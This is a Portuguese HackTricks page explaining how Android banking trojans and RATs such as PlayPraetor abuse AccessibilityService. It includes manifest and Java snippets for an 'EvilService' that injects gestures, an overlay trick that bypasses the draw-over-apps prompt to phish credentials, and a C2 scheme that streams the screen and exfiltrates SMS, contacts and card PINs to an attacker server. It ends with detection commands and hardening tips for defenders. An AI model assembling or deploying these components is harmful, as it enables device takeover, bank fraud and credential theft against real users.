Abuso do Serviço de Acessibilidade do Android

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Visão Geral

AccessibilityService foi criado para ajudar usuários com deficiência a interagir com dispositivos Android. Infelizmente, as mesmas APIs de automação poderosas (navegação global, entrada de texto, despacho de gestos, janelas sobrepostas…) podem ser armadas por malware para obter controle remoto completo do dispositivo sem privilégios de root.

Trojans bancários modernos do Android e Trojans de Acesso Remoto (RATs) como PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda e muitos outros seguem a mesma receita:

  1. Enganar a vítima para habilitar um serviço de acessibilidade malicioso (a permissão BIND_ACCESSIBILITY_SERVICE é considerada "de alto risco" e requer uma ação explícita do usuário).
  2. Aproveitar o serviço para
  • capturar todos os eventos de UI e texto que aparecem na tela,
  • injetar gestos sintéticos (dispatchGesture) e ações globais (performGlobalAction) para automatizar qualquer tarefa que o operador desejar,
  • desenhar sobreposições em tela cheia sobre aplicativos legítimos usando o tipo de janela TYPE_ACCESSIBILITY_OVERLAY (sem prompt de SYSTEM_ALERT_WINDOW!),
  • conceder silenciosamente permissões adicionais em tempo de execução clicando nas caixas de diálogo do sistema em nome da vítima.
  1. Exfiltrar dados ou realizar Fraude no Dispositivo (ODF) em tempo real enquanto o usuário está olhando para uma tela perfeitamente normal.

Solicitando a permissão

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

O XML acompanhante define como o diálogo falso será exibido:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Primitivas de automação de UI remota

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Com apenas essas duas APIs, um atacante pode:

  • Desbloquear a tela, abrir o aplicativo bancário, navegar na árvore da interface do usuário e enviar um formulário de transferência.
  • Aceitar todos os diálogos de permissão que aparecem.
  • Instalar/atualizar APKs extras via a intenção da Play Store.

Padrões de abuso

1. Phishing por sobreposição (Coleta de credenciais)

Um WebView transparente ou opaco é adicionado ao gerenciador de janelas:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

A vítima digita credenciais no formulário falso enquanto o aplicativo em segundo plano recebe os mesmos gestos – nenhum prompt suspeito de "desenhar sobre outros aplicativos" é exibido.

Exemplo detalhado: a seção Phishing de Sobreposição de Acessibilidade na página de Tapjacking.

2. Automação de Fraude no Dispositivo

Famílias de malware como PlayPraetor mantêm um canal WebSocket persistente onde o operador pode emitir comandos de alto nível (init, update, alert_arr, report_list, …). O serviço traduz esses comandos em gestos de baixo nível, alcançando transações não autorizadas em tempo real que facilmente contornam a autenticação multifatorial vinculada a esse dispositivo.

3. Streaming e Monitoramento de Tela

Ao combinar a MediaProjection API com uma biblioteca cliente RTMP, o RAT pode transmitir o framebuffer ao vivo para rtmp://<c2>:1935/live/<device_id>, dando ao adversário perfeita consciência situacional enquanto o mecanismo de Acessibilidade controla a interface.


PlayPraetor – fluxo de comando e controle

  1. Heartbeat HTTP(S) – iterar sobre uma lista codificada até que um domínio responda POST /app/searchPackageName com o C2 ativo.
  2. WebSocket (porta 8282) – comandos JSON bidirecionais:
  • update – enviar novas conf/APKs
  • alert_arr – configurar modelos de sobreposição
  • report_list – enviar lista de nomes de pacotes alvo
  • heartbeat_web – manter ativo
  1. RTMP (porta 1935) – streaming de tela/vídeo ao vivo.
  2. Exfiltração REST
  • /app/saveDevice (impressão digital)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (credenciais bancárias)

O AccessibilityService é o mecanismo local que transforma esses comandos em nuvem em interações físicas.


Detectando serviços de acessibilidade maliciosos

  • adb shell settings get secure enabled_accessibility_services
  • Configurações → Acessibilidade → Serviços baixados – procure por aplicativos que não são do Google Play.
  • Soluções MDM / EMM podem impor ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) para bloquear serviços instalados manualmente.
  • Analise os serviços em execução:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Recomendações de fortalecimento para desenvolvedores de aplicativos

  • Marque visualizações sensíveis com android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combine setFilterTouchesWhenObscured(true) com FLAG_SECURE para evitar sequestro de toque/sobreposição.
  • Detecte sobreposições verificando WindowManager.getDefaultDisplay().getFlags() ou a API ViewRootImpl.
  • Recuse operar quando Settings.canDrawOverlays() ou um serviço de Acessibilidade não confiável estiver ativo.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks